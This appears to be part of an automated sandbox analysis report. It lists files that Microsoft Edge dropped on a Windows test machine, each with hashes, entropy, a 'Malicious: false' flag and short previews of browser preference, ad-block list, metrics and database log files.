Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\fbbc84dd-801b-46dc-8a87-42cb79f85447.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673E230D-1E44.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4583578382548009
Encrypted:	false
SSDEEP:	3072:If5Y7DAKLZh0WBFbXFePPkcNSxX8MILnbuzTNhcYULqWQGgT9g1HFH:6Y7l5XFenkcNkL7TNfULqWQGgT9aHZ
MD5:	72F0E86DE600DB4750B08DF6710F8FB4
SHA1:	D8F7607D7C4E83B7A37E5EFEDFF00C55D93C8508
SHA-256:	807A495672C2A07329A85D667B9AC9EC7EBA763CF3BC6984ED4977B1FF3F69CC
SHA-512:	474F8BAFF498EB45BC9C52C24AF897A04EA2E003B697C6AF7DCB2771E152089BAFD4A4F735C1A8B0DD96063821DDED1BCD090D26C17BB7C6DD881B7F21CC1A62
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".qpklgl20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......,...... .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\07c09778-5f3f-46e5-bb98-5e1fb2cea3f7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0e51d4cc-965b-418d-a8cd-5c9c533cfa90.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17608), with no line terminators
Category:	dropped
Size (bytes):	17608
Entropy (8bit):	5.478710801658077
Encrypted:	false
SSDEEP:	192:styJ99QTryDiuabatSuyp9sBXaFvrErrSNNkUESN9E6TKumWtfLu8PbV+F/VQw9Q:styPGQSu49sBXCDeMEQGJWdDbGtQwf36
MD5:	F0C84BF90BF78CDFC414F3D84A17B3BC
SHA1:	9F03D3EAFD55D497BC3C263486C1989CF1539D45
SHA-256:	F3477D3D0B15CDC761279A33C1D3E3DF5513985A6D69C2C98DA3417E954CD654
SHA-512:	0201E66EAD94A861585759BB2F4120D058492922415659AA5E75F2B686ED72BBEC2B79770C5933139AD3619B9F52B600FECDC4EAF2D53A54D227F026D3E3A797
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\116f9d40-b123-443a-9c52-05f1f66a7d18.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567782891666883
Encrypted:	false
SSDEEP:	768:3/0C6dWmCW5wiwf4vi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPDOm1IE5DRrwX2UkA:3cxdPCWaiwfmiu1jaMOmr1iLt1
MD5:	B7FAB7B1F15656578D45DEB5D2C83252
SHA1:	CBAEC967AD063C195AE86CFE365105AF2F241DA3
SHA-256:	5CA92F89900745FE3D49CF47E6198AB983A9DD799288C4F457AF0F8ECCDC7FC2
SHA-512:	C0B04B89FE10F9923C888297EE03E268378626E280BE58C9A79B1134211C0319E7971F263ABB6EAF6501C14B7BEA41164AB2E034E93AA4D744E7E4278AC1D131
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376599053629039","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376599053629039","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\128afa37-6152-4098-8cf7-7f9b517daefa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17258), with no line terminators
Category:	dropped
Size (bytes):	17258
Entropy (8bit):	5.483510381871689
Encrypted:	false
SSDEEP:	192:styJ99QTryDiuabatSuyp9sBXaFvrErrSNNkUESN9E6TKumWtf3u8PbV+F/VQw9/:styPGQSu49sBXCDeMEQGJWd3bGtQwU6
MD5:	6AEE69809342BA357A6144ED9344EC86
SHA1:	36E684C68D7B78759A5975562E5344E899C2FA82
SHA-256:	1439EDD72037F057C2F6A73B8FA0ECDF6C30D58B6588AB1AFFB42182CB724B7F
SHA-512:	BCFF36C1D771E0DEEFA43FAFB1F0DE632F1221BE1860FA6986144ADA88DDE737BBB11AE36EC8D1E597DCC67BBA6EF4B1786B25F466C6CC6D285766DF2110D0C2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\723db808-87cf-481a-8cf0-8e13877042da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.114293688806714
Encrypted:	false
SSDEEP:	192:stykdp9sBXaFvrE9kvKu8PbV+F/VQAZTU2PcYJ:styQ9sBXCDAbGtQj6
MD5:	501FFB38E73E0163288AC18437C701BA
SHA1:	9401B2FB0F426F149997FFE1E1E46A316B0AE710
SHA-256:	F8915A6302534294B0DE0A0DEA7BEA87ED0E9CA5C151BF8EC73E67A6808635C6
SHA-512:	160A5347162F07481E956EAA6C5C6256696F3790FF3A2B5615D0E564BED43DED1C3A03F697006F79355145C2475354B8CDFBF411F20ECD62247600C283A4DE18
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\76a97006-1174-4929-a18f-212f57c6c07a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17608), with no line terminators
Category:	dropped
Size (bytes):	17608
Entropy (8bit):	5.478666349433083
Encrypted:	false
SSDEEP:	192:styJ99QTryDiuabatSuyp9sBXaFvrErrSNNkUESN9E6TKumWtfLu8PbV+F/VQw97:styPGQSu49sBXCDeMEQGJWdDbGtQwe36
MD5:	FDD6007630DFDED28D83BB759C1D8C70
SHA1:	550386D04CC295BED54CDD0F04D9F39C914F220D
SHA-256:	00E81A8A17FF1C6B8DABB4C283B1C4C614DD77AEEE032056058EF225A0E438A1
SHA-512:	C41E303E5E3A6C913D36597BE1FC6D2B05B3D3D6A0C1871324712DD900FFBC08844A9E9B999ABD2AB5913357554B43A29379582037D9E62BF3FFE795BA3B965D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\99e3a18d-7bf6-49f8-bb52-73e8dc9cc88e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17443), with no line terminators
Category:	dropped
Size (bytes):	17443
Entropy (8bit):	5.481848999343742
Encrypted:	false
SSDEEP:	192:styJ99QTryDiuabatSuyp9sBXaFvrErrSNNkUESN9E6TKumWtfLu8PbV+F/VQw9O:styPGQSu49sBXCDeMEQGJWdDbGtQwZ6
MD5:	29E822431AC912AFFB73BFB5823D4655
SHA1:	F5D2ED5C75D7E1B533CCFB04ABF5CBC008A8BCF7
SHA-256:	30801946E097CF77592846CA04B154C7058E58D10585024070341E2131BCBBD2
SHA-512:	30CA4EB0928974E5ADE851938B6CF78D41400DD002F9940EA9A2BA47CE6FD0180E39E2B35A324F57897D823D4E783A675A35FBF03AA830A4CC1A526883395C2A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376599055126967","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.25942408771638
Encrypted:	false
SSDEEP:	6:HHUB1N723oH+Tcwtp3hBtB2KLlVH3+q2PN723oH+Tcwtp3hBWsIFUv:nUBaYebp3dFL/OvVaYebp3eFUv
MD5:	E9BE7191850A0C187E2892218654573E
SHA1:	DCD9A1BDA36A0F4FA5C277415A538C4D9E2967B3
SHA-256:	47C5C53ABBB1CB14C432E8DFD7F78E47A6A78DBB5593F50378A0839B74033740
SHA-512:	FAFE0CC785176FA89C6DF20ECC89FB06547F24C14CF83DA9147AC6A12DCE89A11C06AF4BD7EFD3C81982240DAA7C8A0DA185B45A768406CC97F4017CFA340998
Malicious:	false
Preview:	2024/11/20-12:57:39.189 a48 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/20-12:57:39.322 a48 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222867263125081
Encrypted:	false
SSDEEP:	24576:IbPMZpVlfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpVlfx2mjF
MD5:	3F0F623B0CAEA5780FD77CA7A1B51F6A
SHA1:	690B52F216F325947917BCB68957C9E5D9A92BD2
SHA-256:	2342A1016690AE664F2A9A44B35FFC79867CC31D18B577879A9E81286B44119A
SHA-512:	D1845B3DC4C809410D1DA3D4888822CD4CBD934D14AB40E0C4894D474CEE8FB1752F69F412BB70D0489940F2AAE1AFDC8D8D87CA76B132374BD9FD3BC7988F3C
Malicious:	false
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
